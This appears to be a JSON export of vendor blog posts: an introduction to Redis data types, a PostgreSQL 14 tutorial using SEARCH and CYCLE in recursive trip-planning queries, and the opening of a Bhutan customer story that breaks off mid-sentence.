{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5n7mhiPowEK6X49UpoZSU4","_rev":"ejVwHgKe5k9eDWbchuPlfl","_type":"post","_updatedAt":"2024-07-11T12:22:32Z","body":"Redis®* is an in-memory, single-threaded, open-source, NoSQL datastore. \n\nImagine you’re implementing a leaderboard (top 10 players list) in one part of your game’s UI. You need a solution that smoothly handles user-visible updates on the fly. You also need to write a user session cache to handle the “sticky” login state of users connecting to different authentication services. In yet another part of your [Microservices Architecture](https://aiven.io/blog/how-are-your-microservices-talking), you need to temporarily store player-level state. \n\nThis requires a simple data store that’s extremely fast, lightweight, relatively format-agnostic, and leverages RAM. \n\nYou may be familiar with NoSQL data stores and the flexibility they introduce when compared to an RDBMS. ACID-compliant database solutions in the cloud, best suited for transactional data, ensure record completeness and isolation, but impose a few different costs:\n\n* Inflexible schemas: your events must adhere to the same schema as the database, or else throw an error\n* Write-time, partition, replication, and latency costs.\n\n\u003e This simply won’t scale to a large-scale game or social network, where each of several million users needs a list or unique session data updated essentially in real-time. \n\nThink of constantly-updating lists, counters and views on popular social media, games, shared computing and collaboration platforms. Consider the constantly-changing data on Facebook statuses, top Twitter trends and LinkedIn Profile View counts. \n\nOr consider the results counters on search engines: would something like Google results counters really work almost instantaneously for billions of users if rigid transactional mechanisms wrote and read ACID- consistent data over latent network connections for _each and every user_?\n\nFortunately, there is an open-source solution purpose-build for precisely such use cases - Redis.\n\nIn this post, we’ll look at how an in-memory key-value store (and more) handles data, the use cases it supports and how it supports them via the available Redis data types. \n## What is Redis?\nRedis, or **Re**mote **Di**ctionary **S**erver, is an in-memory, single threaded, open-source NoSQL datastore. Its high performance makes it a favorite fast data store, cache, and even lightweight message broker. \n\nDubbed “the data structure server” by Redis folks themselves, the **value** part of the key-value pair can hold **_strings, lists, sets, sorted sets, hashes, bitmaps, and hyperloglogs,_** which we’ll cover below. It’s the range of operations that these data types support that makes Redis a flexible and easy choice to spin up on-the-fly solutions for which a relational datastore would be overkill.\n\nWith these features, Redis can accommodate a range of problems that map almost directly onto Redis’ data types themselves. But you don’t need to _switch_ to Redis; most use it as a complement to other data stores in their architectures. \n## What Redis does (and doesn’t do)\nYou can think of Redis as an out-of-the-box cache where you can store and recall data on the fly. Redis can do more than 100k SETs (writes) and 81k GETs (reads) per second. And with frequent — and configurable — disk writes on the off-cycles, your persisted data is still available when you reinitialize. \n\nSome programming language libraries - think of Ruby’s [resque](https://github.com/resque/resque) and [sidekiq](https://sidekiq.org/) libraries - even use Redis lists under the hood to implement background jobs for fast data sorts.\n\nUnlike SQL databases, Redis doesn’t implement [ACID](https://en.wikipedia.org/wiki/ACID)-supporting database schemas such as tables and columns. Instead, the storage format is **{key:value}**. Being memory-resident, single threaded, and written in a low level language as C, it’s an excellent choice for fast changing stores and caches.\n\nSo how do [Redis’s supported data types](https://redis.io/topics/data-types) enable this super-fast execution? **Redis users create data structures on the fly and run operations directly on them.**\n\n![The tet data type in Redis header image for data types](//cdn.sanity.io/images/sczeoy4w/production/32ea56a0bc01b9fd1e39ed5d96a2acecb9bfccba-2000x957.png)\n\n\n**_Keys_** are items which are used to uniquely identify and search for the items (values) associated with them. Since keys are _binary safe_, they can be human-readable text or even binary strings, just as JPEG files.\n\nRedis **_value types_** include the following:\n\n- **_Strings_** are the simplest values one can associate with a key. Strings are good for storing anything you might think of as plaintext, like code fragments, complete HTML pages, or IP addresses. Redis allows up to a 512MB size for strings.\n- **_Lists_** are collections of strings or linked lists in order of insertion. Lists can contain duplicate values, and you can add items to either the beginning or end. \n- **_Sets_** are like lists, except they cannot contain duplicate values, and are unsorted. Sets can make use of _unions_, _intersections_ and _subtractions_. Because they only accept unique, distinct values, they are the go-to for managing cardinality. \n- **_Sorted sets_** are sets where every string is ordered by a _float_ score. In sorted sets, scores can repeat but their associated values cannot.\n- **_Hashes_** are maps of value-associated fields representing distinct objects. Hashes can hold up to 4 billion fields. As such, hashes offer an efficient way for a single Redis instance to hold a very large number of objects and operate on them.\n- **Bit arrays** and **bitmaps** are handled like strings: you can set and clear individual bits, find the first set (or unset) bit, or count all bits set to a specific binary value, among other things.\n- **_HyperLogLog_** or [HLL](https://redis.io/topics/data-types-intro#HyperLogLogs) is unique to Redis: \"a probabilistic data structure used to estimate the cardinality of a set.\" HLLs themselves contain only state information and employ algorithms to consume a constant amount of memory (12k at worst) instead of an amount of memory proportional to the numbers of items counted. HLLs read and write their input data from strings, so you’d use string operations for adding, retrieving and counting items from their cardinality calculations.\n- **Streams** with a type of **_pub/sub_** pattern can be used as part of a mechanism to channel non-critical items to consumers or groups. You can implement new data types or support external modules to enhance Redis’ functionality.\n\n\u003c!--\n\nSo how do these data types map to specific use-cases?\n\n#### Based on strings\n**_Session caches_** or **_full-page_** caches can store HTML fragments or even full pages and serve them based on session data. These are also an original use of memcache, and what many such users actually do in Redis. **_Real-time metering_** for utilization-based pricing can be created, based on Redis strings, lists, or even using pub/sub instances as building blocks.\n\n#### Based on lists\n**_Most recent items lists_** [can use](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html) ```LPUSH``` or ```LPOP``` commands to populate lists, and ```LTRIM``` to limit the list sizes. Many **_social media sites_** use Redis lists for “top trending” content item feeds. **_News feeds_**, aggregated from RSS feeds, can push latest updates to restricted lists using the same methods. \n\n#### Based on sets\nDevelopers can implement sets with operations like _unions_, _intersections_ and _subtractions_ (as in Venn diagrams) to search product categories or **_analyze preferences by demographic_** like age. **_Content filters_** implemented in Redis filter user input against discrete sets of words, added to sets via ```SADD``` commands. **_Counters_** use sets with ```INCRBY``` commands to increment counts, ```GETSET``` to clear the counters and ```EXPIRE``` and/or ```TTL``` commands to delete obsolete counters. Since the ```SADD``` command can only add unique members to sets, these are also useful for **_unique N items_** [computations](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html). These latter applications are useful for logging unique users or IP addresses.\n\n#### Based on sorted sets\n**_Forums_** like StackOverflow or Quora use sorted sets to [rank answers](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html) by number of votes. **_Gaming app scoreboards_** use sorted sets to track **_N highest scores_**; these are similar to leaderboards with **_top N player lists_**. **_Task queues_** rank tasks by priority, while **_expiring item lists_** [use unix time](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html) as the key and index current time and time-to-live; the sorted set is queried with ```ZRANGE``` against scores.\n\n#### Based on hashes\nSince hashes store multiple fields, they are perfectly suited for objects like **_user profiles_**, **_user posts_**, and multivariate **_metrics_** like product and research and development.\n\n#### Based on pub/sub\nRedis’s own pub/sub can be used as a building block to construct ephemeral, non-critical **_channels_** for some types of message routing and data collection.\n\nSome popular applications that Redis supports may use a combination of data types: for example, **_sticky sessions_** that keep users logged-in between services during authentication sessions; **_storing random data_** that many services in an MSA need access to is another example. \n\nBut that's just the beginning! The use cases for Redis are truly limitless. And there are many good reasons why a hosted, managed Redis solution is the best way to go: Do you need automatic setup and maintenance? How about the ability to provision your Redis instance at the click of a button? 24/7 support?\n\n--\u003e\n\n## Getting started\nWhy not give Redis a spin? [Aiven for Caching](https://aiven.io/caching) is easy to set up, either on the [Aiven Console](https://console.aiven.io/).\n## Wrapping up\nIn this post, we've looked at Redis: how it handles data, the use cases it supports, and how it supports them. And we’ve gotten started with Aiven for Caching from both Aiven Console and Aiven CLI.\n\nIf you’d like try out, risk-free hosted and managed Aiven for Caching yourself, [check it out with our no commitment, 30-day trial](https://console.aiven.io/signup), or [read all about it on the product page](https://aiven.io/caching)! In the meantime, subscribe to our [blog](https://aiven.io/blog) and [changelog](https://aiven.io/changelog) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/) to be in the know.\n\n## References\n[Redis in Action](https://www.amazon.com/Redis-Action-Josiah-L-Carlson/dp/1617290858)\n\n[https://redis.io/topics/data-types-intro](https://redis.io/topics/data-types-intro)\n\n[http://oldblog.antirez.com/post/take-advantage-of-redis-adding-it-to-your-stack.html](http://oldblog.antirez.com/post/take-advantage-of-redis-adding-it-to-your-stack.html)\n\n[http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html](http://highscalability.com/blog/2011/7/6/11-common-web-use-cases-solved-in-redis.html)\n\n\\* Redis is a trademark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven Oy.\n\n## Further reading\n\n- [Caching with Aiven for Redis® and Express.js](https://aiven.io/blog/caching-with-nodejs-express-and-redis)","categories":[{"_key":"3SF1hzDKGSWII7ZpbyTg8M","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-07T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"What is Redis®? What does it do and how do you get started? Get informed about the popular fast data store, cache, and lightweight message broker in our blog!","metaImage":{"alt":"","asset":{"_ref":"image-27eb1255715f2dfb05b85a97e3bdb1f7721c17cb-1567x844-png","_type":"reference"}},"metaTitle":"Redis® | Comprehensive guide | Get started with Aiven "},"slug":{"_type":"slug","current":"/blog/an-introduction-to-redis"},"subtitle":"Take a look at all the ins and outs of Redis, and where it sits on the data continuum.","title":"An introduction to Redis®"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"5nGKExxF80jIOOLQHuszID","_rev":"ZLvKaZvfbZlWBlGcpIoBA0","_type":"post","_updatedAt":"2024-01-29T15:41:33Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"Holidays, trips, happy times are always in our minds and a couple months ago we saw how to solve the [knapsack problem using PostgreSQL recursive queries](https://aiven.io/blog/solving-the-knapsack-problem-in-postgresql). However, blog posts don't always age like wine. Some weeks after the publication date, PostgreSQL 14 was announced, and it includes a couple of really interesting [new features](https://www.postgresql.org/about/news/postgresql-14-released-2318/): `CYCLE` and `SEARCH`. They simplify the way we write recursive queries by a lot. This article gives a few examples, based on a favorite topic: trip planning!\n\n## Create the database\n\nThe examples in this post will work with any PostgreSQL 14 database, or newer. I'll be keeping things simple and using an [Aiven-managed PostgreSQL service](https://aiven.io/postgresql \"Aiven for PostgreSQL\"), with the Aiven CLI  (check the [dedicated documentation](https://aiven.io/docs/tools/cli.html) on how to install and log in). Here is the CLI command to create the database:\n\n```bash\navn service create holidays-pg \\\n    --service-type pg \\\n    --plan hobbyist \\\n    --cloud google-europe-west3 \\\n    -c pg_version=14\n```\n\nThe above creates a PostgreSQL 14 (`-c pg_version=14`) service named `holidays-pg` on the `google-europe-west3` region, with the minimal `hobbyist` plan. That's enough for our test. To check which versions of the tools we provide, use the `avn service versions` command, documented in the [dedicated page](https://aiven.io/docs/tools/cli/service.html#avn-service-versions).\n\nWe have now a couple of minutes of waiting time for our PostgreSQL 14 database to be up and running. We can open our favorite travel guide and start browsing destinations. In the meantime, we can keep an eye on the progress of the service creation task with:\n\n```bash\navn service wait holidays-pg\n```\n\nThe above command will periodically request the state of the server till it starts. Once it returns, we're ready to connect to our `holidays-pg` PostgreSQL 14 service with:\n\n```bash\navn service cli holidays-pg\n```\n\n## Create the dataset\nWe want to travel across Europe, visiting some of the major cities within a budget. See how this is a variation of the [knapsack problem discussed previously](https://aiven.io/blog/solving-the-knapsack-problem-in-postgresql)? It's always interesting how apparently different problems can be solved with a similar strategy.\n\nTo store the cities we want to visit, we create a `cities` table, and fill with the locations we've picked.\n\n```sql\ncreate table cities(\n    city_id int primary key,\n    city_name varchar\n    );\n\ninsert into cities values (0, 'Rome'),\n                         (1, 'London'),\n                         (2, 'Paris'),\n                         (3, 'Helsinki'),\n                         (4, 'Barcelona');\n```\n\nHow do we travel between cities? Easy, we head to a travel booking website and find the connections together with each trip cost. Usually we come back with a graph like this:\n\n![Image showing destinations and connection between them including the price](//cdn.sanity.io/images/sczeoy4w/production/85dbb496c23734119e24ea24e47f5e44a6ff43ae-939x629.png)\n\nTo represent the above information in PostgreSQL, we create a table named `trips` storing the information of source (`city_a_id`), destination (`city_b_id`) and trip cost in Euros (`price_in_eur`).\n\n```sql\ncreate table trips(\n    trip_id int primary key,\n    city_a_id int references cities(city_id),\n    city_b_id int references cities(city_id),\n    price_in_eur int\n    );\n\ninsert into trips values\n    (1, 0, 1, 200),\n    (2, 0, 2, 250),\n    (3, 0, 3, 150),\n    (4, 1, 0, 120),\n    (5, 1, 3, 350),\n    (6, 1, 4, 450),\n    (7, 2, 0, 170),\n    (8, 2, 3, 320),\n    (9, 3, 0, 50),\n    (10, 3, 4, 120),\n    (11, 4, 0, 30),\n    (12, 4, 1, 500);\n```\n\nThe `trips` table contains all available routes and the associated cost. For example, the trip with id `2` takes us from `Rome` (`city_id:0`) to `Paris` (`city_id:2`) for `250` euros. Not too bad, it's time to start planning the journey.\n\n## Plan the trip\nOur journey needs to start somewhere, and since we know that every road leads to Rome, we can pick the eternal city as starting point. To check where we can travel to, we need a couple of joins between the `cities` and the `trips` tables.\n\n```sql\nselect\n    src.city_name,\n    dst.city_name,\n    trips.price_in_eur\nfrom cities src\n    join trips on src.city_id = trips.city_a_id\n    join cities dst on trips.city_b_id = dst.city_id\nwhere src.city_name='Rome';\n```\n\nThe result shows the same information as the graph above: we can reach `London`, `Paris` and `Helsinki` with just one trip.\n\n```\ncity_name | city_name | price_in_eur\n-----------+-----------+--------------\nRome      | London    |          200\nRome      | Paris     |          250\nRome      | Helsinki  |          150\n(3 rows)\n```\n\n## Add more hops to the journey\nOk, where next? We can use the power of recursive queries to loop over all the possible combinations.\n\nWith an infinite amount of money, we could travel the world forever. Translating this in database terms, it means that we could have endless loops in our recursive query. To mimic the real life and save us from infinite loops, let's set an overall budget of `800` euros to cover all our trips.\n\nLearning from the [previous post](https://aiven.io/blog/solving-the-knapsack-problem-in-postgresql), we can write the recursive query for the journey like this:\n\n```sql\nwith recursive trip_journey(\n    city_id,\n    trip_id,\n    total_price_in_eur,\n    journey_stops\n    )\nas (\n    select\n        city_id as city_id,\n        null::int as trip_id,\n        0 price_in_eur,\n        ARRAY[city_name] as journey_name\n    from cities\n    where city_id=0\n    UNION ALL\n    select\n        trips.city_b_id,\n        trips.trip_id,\n        tj.total_price_in_eur + trips.price_in_eur,\n        tj.journey_stops || city_b.city_name\n    from trip_journey tj join trips on tj.city_id = trips.city_a_id\n    join cities city_a on trips.city_a_id = city_a.city_id\n    join cities city_b on trips.city_b_id = city_b.city_id\n    where tj.total_price_in_eur + trips.price_in_eur \u003c 800\n    )\nselect * from trip_journey;\n```\n\nLet's break it up a bit. The first section states the starting point: we want to start from `Rome` (`city_id=0`). If we don't travel, the `trip_id` is `null` and the overall cost is `0`.\n\n```sql\nselect\n    city_id as city_id,\n    null::int as trip_id,\n    0 price_in_eur,\n    ARRAY[city_name] as journey_name\nfrom cities\nwhere city_id=0\n```\n\nThen we start adding trips, using the recursive piece, joining the previously defined `trip_journey` with the `trips` table to discover all possible destinations and associated cost.\n\n```sql\nUNION ALL\nselect\n    trips.city_b_id,\n    trips.trip_id,\n    tj.total_price_in_eur + trips.price_in_eur,\n    tj.journey_stops || city_b.city_name\nfrom trip_journey tj join trips on tj.city_id = trips.city_a_id\njoin cities city_a on trips.city_a_id = city_a.city_id\njoin cities city_b on trips.city_b_id = city_b.city_id\nwhere tj.total_price_in_eur + trips.price_in_eur \u003c 800\n```\n\nWhat is happening is that we take note of the journey by adding the `city_b.city_name` to the array of strings contained in `journey_stops`. Then, we calculate the total journey cost by summing the previous total and the current trip price (`tj.total_price_in_eur + trips.price_in_eur`). Finally we verify that the overall cost is within the `800` euros limit in the `WHERE` clause.\n\nThe query retrieves 89 rows, starting from the no trip option (staying in `Rome`) till the long `{Rome,Helsinki,Rome,Helsinki,Rome,Helsinki,Barcelona,Rome}` trip over multiple cities.\n\n```\ncity_id | trip_id | total_price_in_eur |                          journey_stops\n---------+---------+--------------------+-----------------------------------------------------------------\n      0 |         |                  0 | {Rome}\n      1 |       1 |                200 | {Rome,London}\n      2 |       2 |                250 | {Rome,Paris}\n      3 |       3 |                150 | {Rome,Helsinki}\n      0 |       4 |                320 | {Rome,London,Rome}\n      3 |       5 |                550 | {Rome,London,Helsinki}\n....\n      4 |      10 |                770 | {Rome,Helsinki,Rome,Helsinki,Barcelona,Rome,Helsinki,Barcelona}\n      0 |      11 |                700 | {Rome,Helsinki,Rome,Helsinki,Rome,Helsinki,Barcelona,Rome}\n(89 rows)\n```\n\n## Define the exploration path with the SEARCH option\nThe 89 rows above give us a good summary of all the possible itineraries we could take. But how is that dataset ordered? In PostgreSQL 14 the `SEARCH` option provides a new way to define how our recursive query should behave:\n\n* If we want to order our trips based on the **number of stops**, we can use the `BREADTH` option. We'll see fist the trips involving 0 stops, then the ones involving 1 stop, 2 stops and so on.\n* If we want to order our trips based on the **trip path**, we can use the `DEPTH` option. We'll see the journey expanding at each step, e.g. `{Rome}`-\u003e `{Rome-\u003eLondon}` -\u003e `{Rome-\u003eLondon-\u003eHelsinki}` until the maximum depth of the journey is found, then it'll explore the consecutive brach of the tree.\n\nTo provide an example on our dataset, we just replace the last `select * from trip_journey` statement with the following:\n\n```sql\nSEARCH BREADTH FIRST BY city_id SET ordercol\nselect * from trip_journey order by ordercol limit 15;\n```\nWe are limiting the query to return only the first 15 rows (`limit 15`), this saves in computation since we're not going to scan the whole set of combinations but still enables us to demonstrate the feature. Because we're using the `BREADTH` option, the resultset is ordered by **number of stops**.\n\n```\n city_id | trip_id | total_price_in_eur |         journey_stops          | ordercol\n---------+---------+--------------------+--------------------------------+----------\n       0 |         |                  0 | {Rome}                         | (0,0)\n       1 |       1 |                200 | {Rome,London}                  | (1,1)\n       2 |       2 |                250 | {Rome,Paris}                   | (1,2)\n       3 |       3 |                150 | {Rome,Helsinki}                | (1,3)\n       0 |       4 |                320 | {Rome,London,Rome}             | (2,0)\n       0 |       9 |                200 | {Rome,Helsinki,Rome}           | (2,0)\n       0 |       7 |                420 | {Rome,Paris,Rome}              | (2,0)\n       3 |       5 |                550 | {Rome,London,Helsinki}         | (2,3)\n       3 |       8 |                570 | {Rome,Paris,Helsinki}          | (2,3)\n       4 |       6 |                650 | {Rome,London,Barcelona}        | (2,4)\n       4 |      10 |                270 | {Rome,Helsinki,Barcelona}      | (2,4)\n       0 |       9 |                600 | {Rome,London,Helsinki,Rome}    | (3,0)\n       0 |      11 |                300 | {Rome,Helsinki,Barcelona,Rome} | (3,0)\n       0 |       9 |                620 | {Rome,Paris,Helsinki,Rome}     | (3,0)\n       0 |      11 |                680 | {Rome,London,Barcelona,Rome}   | (3,0)\n(15 rows)\n```\n\nThe `ordercol` column contains a tuple `(A,B)` where the first item represents the level and the second the latest `city_id`. E.g. `(2,0)` states that the journey includes two trips, and ends in `Rome` (`city_id=0`), the same information can be found in the journey stops column containing `{Rome,Paris,Rome}`.\n\nIf now we replace the `BREADTH` clause with `DEPTH`, we get the first `15` trips ordered by the trip path, exploring with incremental steps how we can gradually increase our journey.\n\n```\n city_id | trip_id | total_price_in_eur |                    journey_stops                    |           ordercol\n---------+---------+--------------------+-----------------------------------------------------+-------------------------------\n       0 |         |                  0 | {Rome}                                              | {(0)}\n       1 |       1 |                200 | {Rome,London}                                       | {(0),(1)}\n       0 |       4 |                320 | {Rome,London,Rome}                                  | {(0),(1),(0)}\n       1 |       1 |                520 | {Rome,London,Rome,London}                           | {(0),(1),(0),(1)}\n       0 |       4 |                640 | {Rome,London,Rome,London,Rome}                      | {(0),(1),(0),(1),(0)}\n       3 |       3 |                790 | {Rome,London,Rome,London,Rome,Helsinki}             | {(0),(1),(0),(1),(0),(3)}\n       2 |       2 |                570 | {Rome,London,Rome,Paris}                            | {(0),(1),(0),(2)}\n       0 |       7 |                740 | {Rome,London,Rome,Paris,Rome}                       | {(0),(1),(0),(2),(0)}\n       3 |       3 |                470 | {Rome,London,Rome,Helsinki}                         | {(0),(1),(0),(3)}\n       0 |       9 |                520 | {Rome,London,Rome,Helsinki,Rome}                    | {(0),(1),(0),(3),(0)}\n       1 |       1 |                720 | {Rome,London,Rome,Helsinki,Rome,London}             | {(0),(1),(0),(3),(0),(1)}\n       2 |       2 |                770 | {Rome,London,Rome,Helsinki,Rome,Paris}              | {(0),(1),(0),(3),(0),(2)}\n       3 |       3 |                670 | {Rome,London,Rome,Helsinki,Rome,Helsinki}           | {(0),(1),(0),(3),(0),(3)}\n       0 |       9 |                720 | {Rome,London,Rome,Helsinki,Rome,Helsinki,Rome}      | {(0),(1),(0),(3),(0),(3),(0)}\n       4 |      10 |                790 | {Rome,London,Rome,Helsinki,Rome,Helsinki,Barcelona} | {(0),(1),(0),(3),(0),(3),(4)}\n(15 rows)\n```\n\nThe `ordercol` now contains the concatenated list of `city_id`s, e.g. `{(0),(1),(0),(2)}` means we're going to travel `Rome-\u003eLondon-\u003eRome-\u003eParis` as confirmed by the `journey_stops` column. The order of rows returned follows the `ordercol`.\n\n## Avoid loops with the CYCLE option\n\nIsn't the journey `Rome-\u003eLondon-\u003eRome-\u003eParis` beautiful? Ah, probably you don't like to pass multiple times by the same city. Loops are a very inefficient way of travelling, and we should avoid them when possible. Luckily, the PostgreSQL 14 `CYCLE` option provides a way to skip them.\n\nIn the original recursive query, replace the `select * from trip_journey` with:\n\n```sql\nCYCLE city_id SET is_cycle USING journey_ids\nselect * from trip_journey where is_cycle=false;\n```\n\nThe above adds to the recursive query a couple of columns:\n* `journey_ids` containing the sequence of `city_id`s in an `ARRAY`\n* `is_cycle` flagging loops by checking if the current `city_id` is already in the `journey_ids` column\n\nThe query result, filtered for `is_cycle=false` provides the list of all non looping trips we can afford with our budget.\n\n```\ncity_id | trip_id | total_price_in_eur |          journey_stops           | is_cycle |    journey_ids\n---------+---------+--------------------+----------------------------------+----------+-------------------\n      0 |         |                  0 | {Rome}                           | f        | {(0)}\n      1 |       1 |                200 | {Rome,London}                    | f        | {(0),(1)}\n      2 |       2 |                250 | {Rome,Paris}                     | f        | {(0),(2)}\n      3 |       3 |                150 | {Rome,Helsinki}                  | f        | {(0),(3)}\n      3 |       5 |                550 | {Rome,London,Helsinki}           | f        | {(0),(1),(3)}\n      4 |       6 |                650 | {Rome,London,Barcelona}          | f        | {(0),(1),(4)}\n      3 |       8 |                570 | {Rome,Paris,Helsinki}            | f        | {(0),(2),(3)}\n      4 |      10 |                270 | {Rome,Helsinki,Barcelona}        | f        | {(0),(3),(4)}\n      4 |      10 |                690 | {Rome,Paris,Helsinki,Barcelona}  | f        | {(0),(2),(3),(4)}\n      4 |      10 |                670 | {Rome,London,Helsinki,Barcelona} | f        | {(0),(1),(3),(4)}\n      1 |      12 |                770 | {Rome,Helsinki,Barcelona,London} | f        | {(0),(3),(4),(1)}\n(11 rows)\n```\n\nAfter avoiding loops, we can also compare trips: for example, both the journeys `{Rome,Helsinki,Barcelona,London}` and `{Rome,London,Helsinki,Barcelona}` include in the same cities, but the first is 100 euros cheaper.\n\n## Return back home\n\nThere's a moment in every trip when you're happy to go back home, but, if you check the trips above, since we're avoiding loops, there is no way we'll end up in our lovely `Rome` again.\n\nTo achieve that, in the original query we need to factor in an additional join with the `trips` table, adding to each journey also the return cost to `Rome`, you can check the full query below:\n\n```sql\nwith recursive trip_journey(\n    city_id,\n    trip_id,\n    total_price_in_eur,\n    journey_stops,\n    journey_prices,\n    return_price\n    )\nas (\n    select\n        city_id as city_id,\n        null::int,\n        0 price_in_eur,\n        ARRAY[city_name] as journey_name,\n        ARRAY[0::int] as journey_price,\n        0 return_price\n    from cities\n    where city_id=0\n    UNION ALL\n    select\n        trips.city_b_id,\n        trips.trip_id,\n        tj.total_price_in_eur + trips.price_in_eur,\n        tj.journey_stops || city_b.city_name,\n        tj.journey_prices || trips.price_in_eur,\n        return_trips.price_in_eur\n    from trip_journey tj join trips on tj.city_id = trips.city_a_id\n    join cities city_a on trips.city_a_id = city_a.city_id\n    join cities city_b on trips.city_b_id = city_b.city_id\n    join trips return_trips on trips.city_b_id = return_trips.city_a_id and return_trips.city_b_id = 0\n    where tj.total_price_in_eur + trips.price_in_eur + return_trips.price_in_eur \u003c 800\n    ) CYCLE city_id SET is_cycle USING journey_ids\nselect * from trip_journey where is_cycle=false;\n```\n\nThe `join trips return_trips on trips.city_b_id = return_trips.city_a_id and return_trips.city_b_id = 0` section makes sure we are also including a return trip to `Rome` (`city_id=0`) and the `tj.total_price_in_eur + trips.price_in_eur + return_trips.price_in_eur \u003c 800` statement includes the return trip cost in the check against the budget.\n\nThe result shows all the 10 possible journeys which include in the budget a return trip to `Rome`.\n\n```\ncity_id | trip_id | total_price_in_eur |          journey_stops           | journey_prices  | return_price | is_cycle |    journey_ids\n---------+---------+--------------------+----------------------------------+-----------------+--------------+----------+-------------------\n      0 |         |                  0 | {Rome}                           | {0}             |            0 | f        | {(0)}\n      1 |       1 |                200 | {Rome,London}                    | {0,200}         |          120 | f        | {(0),(1)}\n      2 |       2 |                250 | {Rome,Paris}                     | {0,250}         |          170 | f        | {(0),(2)}\n      3 |       3 |                150 | {Rome,Helsinki}                  | {0,150}         |           50 | f        | {(0),(3)}\n      3 |       5 |                550 | {Rome,London,Helsinki}           | {0,200,350}     |           50 | f        | {(0),(1),(3)}\n      4 |       6 |                650 | {Rome,London,Barcelona}          | {0,200,450}     |           30 | f        | {(0),(1),(4)}\n      3 |       8 |                570 | {Rome,Paris,Helsinki}            | {0,250,320}     |           50 | f        | {(0),(2),(3)}\n      4 |      10 |                270 | {Rome,Helsinki,Barcelona}        | {0,150,120}     |           30 | f        | {(0),(3),(4)}\n      4 |      10 |                690 | {Rome,Paris,Helsinki,Barcelona}  | {0,250,320,120} |           30 | f        | {(0),(2),(3),(4)}\n      4 |      10 |                670 | {Rome,London,Helsinki,Barcelona} | {0,200,350,120} |           30 | f        | {(0),(1),(3),(4)}\n(10 rows)\n```\n\n## Wrapping up\nThe new `SEARCH` and `CYCLE` options provide a new and more elegant way of defining recursive queries behaviour. Some more resources to take this on board:\n* [WITH Queries (Common Table Expression) in PostgreSQL](https://www.postgresql.org/docs/14/queries-with.html) where you can find the `SEARCH` and `CYCLE` documentation\n* [Solving the knapsack problem in PosgreSQL](https://aiven.io/blog/solving-the-knapsack-problem-in-postgresql) where you can check how you can define search patterns and avoid cycles in previous PostgreSQL version\n* [Aiven for PostgreSQL](https://aiven.io/postgresql) to check Aiven offering for PostgreSQL as managed service.\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\"). Just a thought.\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n\n## Further reading\n\n- [What is PostgreSQL®?](https://aiven.io/blog/an-introduction-to-postgresql)\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)\n\n- [Remote read replicas - the what, why, and how](https://aiven.io/blog/postgresql-remote-read-replica)","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-af94f397b7e9144a370d6939290c246ddb711da5-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-14T00:00:00.000Z","seo":{"metaDescription":"Using recursive queries? Check out the new SEARCH and CYCLE features available in PostgreSQL 14 in this update to an earlier blog post.","metaImage":{"alt":"","asset":{"_ref":"image-af94f397b7e9144a370d6939290c246ddb711da5-1567x844-png","_type":"reference"}},"metaTitle":"Explore the new SEARCH and CYCLE features in PostgreSQL® 14"},"slug":{"_type":"slug","current":"/blog/explore-the-new-search-and-cycle-features-in-postgresql-14"},"subtitle":"Using recursive queries? Check out the new SEARCH and CYCLE features available in PostgreSQL 14 in this update to an earlier blog post.","title":"Explore the new SEARCH and CYCLE features in PostgreSQL® 14"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"5xMVmgTPANyANZSs0E8UPT","_rev":"YFURCCIYWC1zW2kvzase0t","_type":"post","_updatedAt":"2023-08-07T10:41:10Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"You may have heard of the Kingdom of Bhutan, the only country in the world that measures its success using a Gross National Happiness index. This policy, conceptualized and introduced by His Majesty Jigme Singye Wangchuck, stresses the importance of socio-economic development, cultural preservation, environmental conservation and good governance in order to enhance happiness for its people. \nIn support of this pioneering policy, Bhutanese businesses need innovative, creative solutions that generate and attract new economic opportunities while still allowing them to remain true to their people and nature. Aiven has proven itself to be one of those solutions.\n\n### Background\nHome to 800,000 people with a proud ancient heritage, the Kingdom of Bhutan has intentionally remained isolated from the rest of the world in order to safeguard its culture and nature. Technology traditionally arrives late in Bhutan. Television and the internet, for example, were only introduced in 1999, while cell phones arrived in 